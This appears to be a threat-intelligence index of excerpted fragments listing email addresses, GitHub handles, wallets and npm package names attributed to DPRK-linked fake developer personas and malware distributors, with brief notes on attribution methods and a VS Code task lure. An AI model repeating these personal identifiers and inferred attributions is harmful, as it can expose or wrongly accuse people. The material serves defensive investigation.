smirnovvvasyl@gmail.com rgrobertclark032@gmail.com johnwilliam199024@gmail.com Github: github.com/loganworld git…","…to deliver malware Year in Review 111.197.183.74 ipv4 insider October 2025 October 2025 Originating IP address of Kil-Nam Kang 1 alancdouglas@googlemail.com email insider N/A N/A Threat actor-controlled email 1 alphatech1010@outlook.com email insider N/A N/A Threat actor-controlled email 1…","….com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com a…","…email insider N/A N/A Threat actor persona email 4 cglobalpower923002@gmail.com email insider N/A N/A Threat actor persona email 4 albertchess990919@gmail.com email insider N/A N/A Threat actor persona email 4 lorenzo.vidal@mail.ru email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Synthetic persona email 2 michalcopik1@outlook.com email insider N/A N/A Synthetic persona email 2 albertdymek@outlook.com email insider N/A N/A Synthetic persona email 2 dobromirkovachev@outlook.com email insider N/A N/A Synthetic persona email 2…","…ail.com ait.oubella.marouane@gmail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com al…","…mail.com ajimpa2010@gmail.com akeel.yosmar@minutestep.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexand…","…/ Alberto Mira / Jackson Bill - Munchables (2024) - NelsonMurua913 - albertomira1114 - super1114dev - sr.muruanelson@gmail.com - albertomira1114@gmail.com - super1114dev@gmail.com - github.com/NelsonMurua913 •…","…email insider N/A N/A Synthetic persona email 2 filipdamevski001@gmail.com email insider N/A N/A Synthetic persona email 2 albertoszlar52@outlook.com email insider N/A N/A Synthetic persona email 2 benjaminellertsson@gmail.com email insider N/A N/A Synthetic persona email 2…","…step.com akileus010902@gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alf…","…gmail.com akimotoakira00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.…","…00124@gmail.com albert.fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson112…","…fredholm0913@gmail.com albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebe…","…State information. 130 Annex 13 : Payment Account Selectors Associated with SANS FAB 326 Payment Account Emails aleecn@163.com stefaniezh7@gmail.com yisselmanrique@yahoo.com nmling_624@icloud.com 179546932@qq.com gfraticelli1@gmail.com 326 MSMT…","…CA, USA - aleezebet Bet - zerobit417@gmail.com - Telegram: @zerobit417 | Discord: @aloz8333 - GitHub: https://github.com/altbee - aleezebetbet@gmail.com - github.com/altbee - docsend.com/view/un8xsabjr8k758uj - calendly.com/zerobit417/30min - portfolio-austin.netlify.app -…","…om albert.gonz712@gmail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com all…","…Indicator Type Risk First Seen Last Seen Comment Case Study aleks.moleski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review aleksander.malinowski@mail.io email…","…email insider N/A N/A Synthetic persona email 2 antonisharalampopoulos@outlook.com email insider N/A N/A Synthetic persona email 2 aleksandarradakovic122@gmail.com email insider N/A N/A Synthetic persona email 2 krstoilovski@gmail.com email insider N/A N/A Synthetic persona email 2…","…Study aleks.moleski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review aleksander.malinowski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review anatol.baranski@mail.io email…","…email insider N/A N/A Threat actor persona email 4 alexeilucky23@gmail.com email insider N/A N/A Threat actor persona email 4 aleksey0753@gmail.com email insider N/A N/A Threat actor persona email 4 develop498@gmail.com email insider N/A N/A Threat actor persona email 4…","…pino-pretty-logs 2026-04-08 live registry pedrorestiffo@outlook.com polymarket-onchain-sdk 2026-03-27 live registry aleksis2026dev@outlook.com prettier-logger 2026-03-27 live registry aleksis2026dev@outlook.com psxjson 2026-03-23 live registry…","…email insider N/A N/A Synthetic persona email 2 osogovskiplanini001@outlook.com email insider N/A N/A Synthetic persona email 2 aleksonikov001@outlook.com email insider N/A N/A Synthetic persona email 2 angelovaandreev@outlook.com email insider N/A N/A Synthetic persona email 2…","…https://github.com/jgodvali * Followed by devstorm23 * https://github.com/happylucktomorrow * Followed by devstorm23 * alerdi143@gmail.com","…linkedin.com/in/anderson-lee-9550381a5 - linkedin.com/in/anderson-lee-0130801a3 - cetbdb23@gmail.com - firly.larly0430@gmail.com - aleson092325@gmail.com - 0x541fb82d870D6287A9553920A72EDeB0e9877d57 - ![](./anderson-lee-1.jpg) #### Andy Cho / Anderson Lee - eweubr3289 - hashbirdcho -…","…lianhung21@gmail.com[email protected] mano12@gmail.com[email protected] liuqimi21@gmail.com[email protected] alex@bellsstudio.site[email protected] libfredrick@gmail.com[email protected] michaeldein243@gmail.com[email protected]…","…--------------------------- Emails: ayusuphmhina@gmail.com lianhung21@hotmail.com lianhung21@gmail.com mano12@gmail.com liuqimi21@gmail.com alex@bellsstudio.site libfredrick@gmail.com michaeldein243@gmail.com josephdgray211@hotmail.com marogus211@outlook.com briandwingo55@yahoo.com silverbeach613@gma…","…as an independent cluster. Indicators Indicator Type Description First Seen alex@contacttrixauvex.ink Email address Attacker-controlled email address May 2026 alex@mailpredicttogether.ink Email…","…0xCC8020bed135ba9eCf9312Ea0c36234A0BcEC05F ### Alex Hong - 2022 - USA - alexhong950503@gmail.com - alexh.engineering@gmail.com - alex@favrr.com - x.com/AlexHong953 - eyespyrecruitment.com - 0x69EACe431fEC9E6b1535DaFA3873BB23C995Be93 -…","…Seen alex@contacttrixauvex.ink Email address Attacker-controlled email address May 2026 alex@mailpredicttogether.ink Email address Attacker-controlled email address May 2026 alex@predicttocareer.space Email…","…2026 alex@mailpredicttogether.ink Email address Attacker-controlled email address May 2026 alex@predicttocareer.space Email address Attacker-controlled email address May 2026 alex@pulsynk.org Email address…","…2026 alex@predicttocareer.space Email address Attacker-controlled email address May 2026 alex@pulsynk.org Email address Attacker-controlled email address May 2026 alex@trixauvexnet.ink Email address…","…May 2026 alex@pulsynk.org Email address Attacker-controlled email address May 2026 alex@trixauvexnet.ink Email address Attacker-controlled email address May 2026 alexsnow@hr.onoplanoai.ink] Email…","…uncovered a job posting seeking a developer with blockchain knowledge on levels.fyi , with the following contact info: Contact us: alexander@agencyhill99.com Recruiter: vision.founder1004@gmail.com Pivoting on the text in the job description returned two private job postings on Upwork (…","…yonismith zane29879 zhang.j zybinantone241 Email Addresses # adammorris533@gmail.com aidanphillips721@gmail.com alexander0110818@outlook.com alexander0110820@outlook.com alexander0110828@outlook.com anastasiiakoziar02@gmail.com anthonysmith0979@outlook.com…","…grace107 business00747 supercrazybug alexander0110819 purpledev07 mariasam oleksandrrozgon Email Addresses alexander0110819@outlook.com maria.sam.recruiter@gmail.com toptalent0921@gmail.com business00747@gmail.com eric.c01.recruit@gmail.com…","…zhang.j zybinantone241 Email Addresses # adammorris533@gmail.com aidanphillips721@gmail.com alexander0110818@outlook.com alexander0110820@outlook.com alexander0110828@outlook.com anastasiiakoziar02@gmail.com anthonysmith0979@outlook.com anto.nost.athakos194@gmail.com…","…vrindalseth westfieldhomeagent66414 yorktownhomesales08111 Email Addresses # abigailzebrairses36717@outlook.com alexander0110825@outlook.com allenhand0101@outlook.com alphabrownsapon70555@hotmail.com amelievolcanobquvq06786@hotmail.com avaazaleaanwvk05883@outlook.com…","…Addresses # adammorris533@gmail.com aidanphillips721@gmail.com alexander0110818@outlook.com alexander0110820@outlook.com alexander0110828@outlook.com anastasiiakoziar02@gmail.com anthonysmith0979@outlook.com anto.nost.athakos194@gmail.com arslan310.kiran@gmail.com…","…Investigated via Telegram username 'superbluestar', which appeared on both Huy Diep's and Naoyuki Tanaka 's resumes • Email address alexander116gm@gmail.com included on the Naoyuki Tanaka resume — not consistent with the name • Still active on Torre AI at the time of this investigation This…","…zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com david36271@outlook.com rkupriyanof@gmail.com vallierhilaire@gmail.com…","…email insider N/A N/A Synthetic persona email 2 trivuniliikc519@gmail.com email insider N/A N/A Synthetic persona email 2 alexandermori1218@gmail.com email insider N/A N/A Synthetic persona email 2 smupyknight@outlook.com email insider N/A N/A DPRK developer email 2…","The first post is a bare list published under the word \"btwz\" with no operator named. The second post, from the same day, addresses the X accounts jeremymichael79 and Hakeohiratani directly and asks how Pyongyang is, which is the researcher treating both handles as DPRK operators. The two handles are recorded here on that basis. The list itself is still not split between them, because the posts do not say which account holds which identifier, and dividing it would be this site's inference rather than the researcher's. The first post also gives a web3.career handle, which has no indicator type in this repository. The address alexandersimmons824@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author. The address audithunter821@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…Commits to malicious repository Jonathan.daniel.ag1230@gmail.com Commits to malicious repository alexandersmir68@outlook.com Commits to malicious repository alexcox052595@gmail.com Commits to malicious repository aman.jaiswal@web3paymentsolutions.io Commits…","…ail.com albert0703lin@gmail.com albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alp…","…email insider N/A N/A Synthetic persona email 2 leonidasnefeli@outlook.com email insider N/A N/A Synthetic persona email 2 alexandrurusu2@outlook.com email insider N/A N/A Synthetic persona email 2 adrianceban1@outlook.com email insider N/A N/A Synthetic persona email 2…","…Jonathan.daniel.ag1230@gmail.com Commits to malicious repository alexandersmir68@outlook.com Commits to malicious repository alexcox052595@gmail.com Commits to malicious repository aman.jaiswal@web3paymentsolutions.io Commits to malicious repository amitmanojgaikwad@gmail.com…","…Alex Davis (Charles Gordon alt) - 2025 - Shows up all over Charles Lee Gordon / charles8200 profiles - alex-davis-ang - alex.davis.ang@gmail.com - dannyboy-820 - alexdavisgender@gmail.com #### Eric Soh / zhmolly - 2025 - Shows up on and offchain onnected to Charles Lee Gordon…","…2025 - Shows up all over Charles Lee Gordon / charles8200 profiles - alex-davis-ang - alex.davis.ang@gmail.com - dannyboy-820 - alexdavisgender@gmail.com #### Eric Soh / zhmolly - 2025 - Shows up on and offchain onnected to Charles Lee Gordon persona - springdev216 - esoh0612 -…","…email insider N/A N/A Threat actor persona email 4 darbylee923@gmail.com email insider N/A N/A Threat actor persona email 4 alexei.lee0203@outlook.com email insider N/A N/A Threat actor persona email 4 yuriassasin0603@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 nicolas.edgardo1028@gmail.com email insider N/A N/A Threat actor persona email 4 alexeilucky23@gmail.com email insider N/A N/A Threat actor persona email 4 aleksey0753@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 naterongi1@gmail.com email insider N/A N/A Threat actor persona email 4 alexeu005@gmail.com email insider N/A N/A Threat actor persona email 4 versatile.skydev@gmail.com email insider N/A N/A Threat actor persona email 4…","…email insider N/A N/A Threat actor persona email 4 vitalyandronuke@gmail.com email insider N/A N/A Threat actor persona email 4 alexeysamsonofff@gmail.com email insider N/A N/A Threat actor persona email 4 realnitii1@gmail.com email insider N/A N/A Threat actor persona email 4…","…0x641279133F6F560c3f512b8E2D286Ae2C53c31EE - 0xCC8020bed135ba9eCf9312Ea0c36234A0BcEC05F ### Alex Hong - 2022 - USA - alexhong950503@gmail.com - alexh.engineering@gmail.com - alex@favrr.com - x.com/AlexHong953 - eyespyrecruitment.com -…","…email insider N/A N/A Threat actor persona email 4 devnitin18@gmail.com email insider N/A N/A Threat actor persona email 4 alexiyevaj@gmail.com email insider N/A N/A Threat actor persona email 4 initinbhardwaj@yahoo.com email insider N/A N/A Threat actor persona email 4…","…![](./alexlu0917.png) #### CodeMaestro11 - CodeMaestro - CodeMaestro11 - alexlu0917 - mikhaylovqweasdzxc - alexlu0917.dev@gmail.com - mikhaylovqweasdzxc@gmail.com #### itsmooncity - itsmooncity - 0xmooncity - 0x483adFD3409abEEc7d500312d81eFa21E740632a -…","…m albertruipro@gmail.com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com…","…m muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmai…","…email insider N/A N/A Threat actor persona email 4 maskymlap@gmail.com email insider N/A N/A Threat actor persona email 4 alexsam.dev@gmail.com email insider N/A N/A Threat actor persona email 4 kostiaberez369@gmail.com email insider N/A N/A Threat actor persona email 4…","…May 2026 alex@trixauvexnet.ink Email address Attacker-controlled email address May 2026 alexsnow@hr.onoplanoai.ink] Email address Attacker-controlled email address May 2026 alexsnow@hr.predicttocareer.space Email…","…2026 alexsnow@hr.onoplanoai.ink] Email address Attacker-controlled email address May 2026 alexsnow@hr.predicttocareer.space Email address Attacker-controlled email address May 2026 alexstone@hr.trixauvex.org Email…","…realhardworkingdeveloper@gmail.com - thomasanderson19960313@gmail.com - davidsuzuki51@gmail.com - toptalent48@gmail.com - alexstepan0209@gmail.com - kkopbusiness1213@gmail.com - blockchain4webdev@gmail.com - HighleyHilmaU@gmail.com - yemelyan.yevdokimov.domain1121@gmail.com -…","…om bigben199551@gmail.com realhardworkingdeveloper@gmail.com thomasanderson19960313@gmail.com davidsuzuki51@gmail.com toptalent48@gmail.com alexstepan0209@gmail.com kkopbusiness1213@gmail.com blockchain4webdev@gmail.com HighleyHilmaU@gmail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu…","…alexsnow@hr.predicttocareer.space Email address Attacker-controlled email address May 2026 alexstone@hr.trixauvex.org Email address Attacker-controlled email address May 2026 carissae@hr.mailpulsynk.xyz Email…","…the others, it has no publicly linked GitHub repository. array-empty-validator : Published under the npm alias “alextucker0519” (email: alextucker@softworldnet.com), this package has 59 downloads.…","…billyrowan1980 - blockchainlover2019 - maodan466 - putnikdeveloperbg - spaceboy00 - topstack2021a - cryptospaceboy00@gmail.com - alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com -…","…Obyte / Byteball - devneser - github.com/devneser • [Archive](https://web.archive.org/web/20211011124121/https://github.com/devneser) - alexzh.dev@gmail.com - 0x164729e00e8d0f871189160f36dee4398cade1f2 - 0x2efe21f4fef7e737c0a3491c93be7d696038b6f5 -…","…com alchemist0803@mail.ru aldenreid531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9…","…Year in Review erik423131@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review alfredogomez1984126@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review jasonharris198852@gmail.com email malware N/A…","…volodimir.work2020@gmail.com zhangming_k@yahoo.com zhuming1116@gmail.com lisettekolson8@gmail.com 312011217@qq.com alhinglovena3000@gmail.com jumphon2103@gmail.com mobilephetjum@gmail.com phetchamphone1998@gmail.com Additional Resources Global Companies Are…","…Takao Kamio? - MightyDevKnight - Bighero0122 - github.com/MightyDevKnight - james.mario.bello1209@gmail.com - james@ecf.network - ali.jonsson1800@gmail.com - bighero0122@gmail.com: - danylo.lee316@gmail.com - keithnelson0426@gmail.com - legendary0118dev@gmail.com -…","…34cba8ace8486e69dbb70bcedc0f5e2a72b70735afb21071f4ba2a7b6c8f3153 2026-10-07 chai-as-indexed (6.0.5) 2026-10-07 alinats422 <alinazaichka422@outlook.com> 3f84e0dd87a38190815d4c4c5df5a8e8dfdd2e15d3ea7e7e724c6fd75e0c9a56 3f84e0dd87a38190815d4c4c5df5a8e8dfdd2e15d3ea7e7e724c6fd75e0c9a56…","…531@gmail.com aldjomega@gmail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexan…","…bign.tsm 2026-04-01 live registry thomasharvey1128@gmail.com bjs-lint-builders 2026-04-09 live registry a.l.l.a.nh.orca0.7@googlemail.com bulletproof-json 2026-04-07 live registry newacak3@gmail.com bundrix 2026-03-24 live registry…","…atddevs@gmail.com farm-runner 2026-04-20 live registry atddevs@gmail.com gleb-js 2026-03-23 graph first seen al.la.n.h.o.rca07@gmail.com graphbase-js 2026-03-24 live registry lewis.barajas95@outlook.com jonas-prettier-logger 2026-03-21 graph first…","…pretty-fancy-1.0.2.tgz exfil: logger.clob.health 2026-02-26 20:52:18 npm-doc-builder (v1.0.5) al.lanjaysa.t.i.a.gi (al.lanjaysa.t.i.a.gi@gmail.com) npm-doc-builder-1.0.5.tgz exfil: cloudflareinsights.vercel.app 2026-02-26 20:43:21 npm-doc-builder (v1.0.4) al.lanjaysa.t.i.a.gi…","…yorktownhomesales08111 Email Addresses # abigailzebrairses36717@outlook.com alexander0110825@outlook.com allenhand0101@outlook.com alphabrownsapon70555@hotmail.com amelievolcanobquvq06786@hotmail.com avaazaleaanwvk05883@outlook.com b22993172@gmail.com…","…mail.com alejbusse@gmail.com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim…","…com alexandr.efimenko86@gmail.com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026…","…com alexmunchw@gmail.com alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpires…","…in Review soft.business0987@gmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review alphabrownsapon70555@hotmail.com email malware N/A November 2025 DPRK malware distributor GitLab.com account Year in Review welbykchamu4i72@outlook.com email malware N/A…","…Email Addresses # abigailzebrairses36717@outlook.com alexander0110825@outlook.com allenhand0101@outlook.com alphabrownsapon70555@hotmail.com amelievolcanobquvq06786@hotmail.com avaazaleaanwvk05883@outlook.com b22993172@gmail.com bba719771@gmail.com…","…alfredgreen001@lockrhino.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com and…","…2025 Originating IP address of Kil-Nam Kang 1 alancdouglas@googlemail.com email insider N/A N/A Threat actor-controlled email 1 alphatech1010@outlook.com email insider N/A N/A Threat actor-controlled email 1 amitnyc007@gmail.com email insider N/A N/A Threat actor-controlled email 1…","…no.maskmy.id alinwilson1120@gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com andrea.ceka@skiff.com andrew.ke…","Read on 20 September 2026 by walking the commit history of every repository on github.com/admin-0123, github.com/dtorres314, github.com/Iyk-Tech22, github.com/minionhub, github.com/jimmynet444, github.com/bitcrusher1023, github.com/elegant-idn, which this index already holds under the heading \"Accounts tied to the mr.new0509 address by email reuse\". Tallying the author line on every commit recovers the address the holder configured their git client with, which an account never has to state anywhere. am.dev.8080@gmail.com authored 1125 commits on admin-0123, commits as \"admin-0123\"; trustme000777@gmail.com authored 842 commits on dtorres314, commits as \"dtorres\"; ikechukwugodwin22@yahoo.com authored 598 commits on Iyk-Tech22, commits as \"Iyk-Tech\"; minionhub.dev@gmail.com authored 308 commits on minionhub, commits as \"minion\"; jimmynet444@outlook.com authored 109 commits on jimmynet444, commits as \"jimmynet444\"; williamjackson0123@outlook.com authored 81 commits on admin-0123, commits as \"admin-0123\"; bitcrusher1023@outlook.com authored 62 commits on bitcrusher1023, commits as \"bitcrusher1023\"; elegant.idn65@gmail.com authored 9 commits on elegant-idn, commits as \"elegant-idn\"; bitcrusher1023@gmail.com authored 3 commits on bitcrusher1023, commits as \"bitcrusher1023\"; robinson.james0427@gmail.com authored 2 commits on minionhub, commits as \"minionhub\"; brainbrace1@outlook.com authored 1 commit on Iyk-Tech22, commits as \"Iyk-Tech\". Each is admitted because it commits under a name the account itself uses, the test that separates the holder's own address from the original author of a repository copied in. No persona is attached, because the accounts these were read from carry none: the reporting grouped them without naming an operator, and recovering an address does not supply the name it declined to give.","…abigailzebrairses36717@outlook.com alexander0110825@outlook.com allenhand0101@outlook.com alphabrownsapon70555@hotmail.com amelievolcanobquvq06786@hotmail.com avaazaleaanwvk05883@outlook.com b22993172@gmail.com bba719771@gmail.com bizownership018@gmail.com…","…gmail.com allthebest0602@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com andrea.ceka@skiff.com andrew.kelly.9472@gmail.com andr…","…2@gmail.com allysonanderson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com andrea.ceka@skiff.com andrew.kelly.9472@gmail.com andrewdspence1228@gmail.co…","…Group used VSCode task files. GitHub Users: - ChainspaceHub - nikkhielseath - yosket - ameeetgaikwad Email Addresses: - ameeetgaikwad <amitmanojgaikwad@gmail.com> - yosket <yosket87@gmail.com> - nikkhielseath <sethnikhil74@gmail.com> Domains: - vscode-config.vercel.app ## Variant two - June 5,…","…alexcox052595@gmail.com Commits to malicious repository aman.jaiswal@web3paymentsolutions.io Commits to malicious repository amitmanojgaikwad@gmail.com Commits to malicious repository andreibalteanu2@gmail.com Commits to malicious repository andrew@koinos.us Commits to malicious…","…insider N/A N/A Threat actor-controlled email 1 alphatech1010@outlook.com email insider N/A N/A Threat actor-controlled email 1 amitnyc007@gmail.com email insider N/A N/A Threat actor-controlled email 1 anniegirl2023@163.com email insider N/A N/A Threat actor-controlled email 1…","…maodan466 - putnikdeveloperbg - spaceboy00 - topstack2021a - cryptospaceboy00@gmail.com - alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com -…","…email insider N/A N/A Threat actor persona email 4 kekisevu@gmail.com email insider N/A N/A Threat actor persona email 4 anastasiaanufriyenko@gmail.com email insider N/A N/A Threat actor persona email 4 naterongi@gmail.com email insider N/A N/A Threat actor persona email 4…","…aidanphillips721@gmail.com alexander0110818@outlook.com alexander0110820@outlook.com alexander0110828@outlook.com anastasiiakoziar02@gmail.com anthonysmith0979@outlook.com anto.nost.athakos194@gmail.com arslan310.kiran@gmail.com astroglobal.work@gmail.com…","…aleksander.malinowski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review anatol.baranski@mail.io email malware N/A N/A Used for malware distribution on freelance developer platforms Year in Review anton.plonski@mail.io email malware…","…erson1124@gmail.com alphaboss1104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com andrea.ceka@skiff.com andrew.kelly.9472@gmail.com andrewdspence1228@gmail.com andreynaydenov2@gmail.com an…","Found on 28 September 2026 by reading the commit authors of the second-order lure repositories (the TARS AI, AetSoftNesus, Arsaga and Betfin projects). Seven author accounts have since been removed by GitHub and follow the lure farm's patterns, among them two addresses on the same .bz pattern; each address is carried with the account GitHub credits it to. aronhirotobz-ops, created in 2026 with a single repository and named like an address already held from the same network, is carried with that repository, GB-VPS: a Next.js project whose .vscode/tasks.json defines a shell task running a silent npm install, set up for Windows, Linux and macOS, the VS Code tasks vector these lures use to run code when a candidate opens the folder. Two established freelancer accounts that committed to the same projects are left out as likely recipients, and two author addresses no account is credited with are not carried.","…104@gmail.com alphadev0101@gmail.com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com andrea.ceka@skiff.com andrew.kelly.9472@gmail.com andrewdspence1228@gmail.com andreynaydenov2@gmail.com andrianlin9999@gmail.com andrzejsem…","…putnikdeveloperbg - spaceboy00 - topstack2021a - cryptospaceboy00@gmail.com - alexwork455@gmail.com - ananphoon823@gmail.com - andika.riyan@gmail.com - billyrowan1980@gmail.com - blockchainlover2019@gmail.com - maodan466@gmail.com - putnikdeveloperbg@gmail.com -…","…johnjohnjohn829612@hotmail.com[email protected] johnwooaugtwe@hotmail.com[email protected] andon211bala@yahoo.com[email protected] blazhenov525@gmail.com[email protected] annaparova989@outlook.com[email protected]…","…johnwoo829612@outlook.com johnwoo82921323@gmail.com johnjohnjohn829612@outlook.com johnjohnjohn829612@hotmail.com johnwooaugtwe@hotmail.com andon211bala@yahoo.com blazhenov525@gmail.com annaparova989@outlook.com joanahillora843@outlook.com makdanger11220@outlook.com makdanger3434@outlook.com maksim102…","…com amalriccarl9079@outlook.com ameslexander@gmail.com amir.whasim@gmail.com anatoli.morozov1026@gmail.com andersonpiressilva1203@gmail.com andrea.ceka@skiff.com andrew.kelly.9472@gmail.com andrewdspence1228@gmail.com andreynaydenov2@gmail.com andrianlin9999@gmail.com andrzejsemon428@gmail.com andych…","…Commit history analysis revealed the actor also operated under the name \"andrew_watson\" and used the email address andrew@koinos.us . caption - Example of commit history The koinos.us domain closely resembles the legitimate Koinos domain ( koinos.io ).…","…( download ) charles.cm.morgan (charles.cm.morgan@gmail.com) 2026-02-25 22:26:36 promanage v6.0.21 ( download ) andrew.ddn.walker (andrew.ddn.walker@gmail.com) 2026-02-25 22:21:37 vitetest-lint v4.1.21 ( download ) andrew.dea.walker00 (andrew.dea.walker00@gmail.com) 2026-02-25 22:13:14…","…( download ) andrew.d.walker00 (andrew.d.walker00@gmail.com) 2026-02-25 21:51:56 argonist v0.41.0 ( download ) andrew.dean.walker00 (andrew.dean.walker00@gmail.com) 2026-02-25 21:46:19 uuindex v13.1.0 ( download ) andrewdeanwalker007 (andrewdeanwalker007@gmail.com) 2026-02-25 21:37:45 bcryptance…","…download ) andrew.dean.walker00 (andrew.dean.walker00@gmail.com) 2026-02-25 21:46:19 uuindex v13.1.0 ( download ) andrewdeanwalker007 (andrewdeanwalker007@gmail.com) 2026-02-25 21:37:45 bcryptance v6.5.2 ( download ) needlesstosay (needlesstosay0o0o0@gmail.com) 2026-02-25 19:38:58 ether-lint…","…download ) andrew.ddn.walker (andrew.ddn.walker@gmail.com) 2026-02-25 22:21:37 vitetest-lint v4.1.21 ( download ) andrew.dea.walker00 (andrew.dea.walker00@gmail.com) 2026-02-25 22:13:14 prism-lint v7.4.2 ( download ) 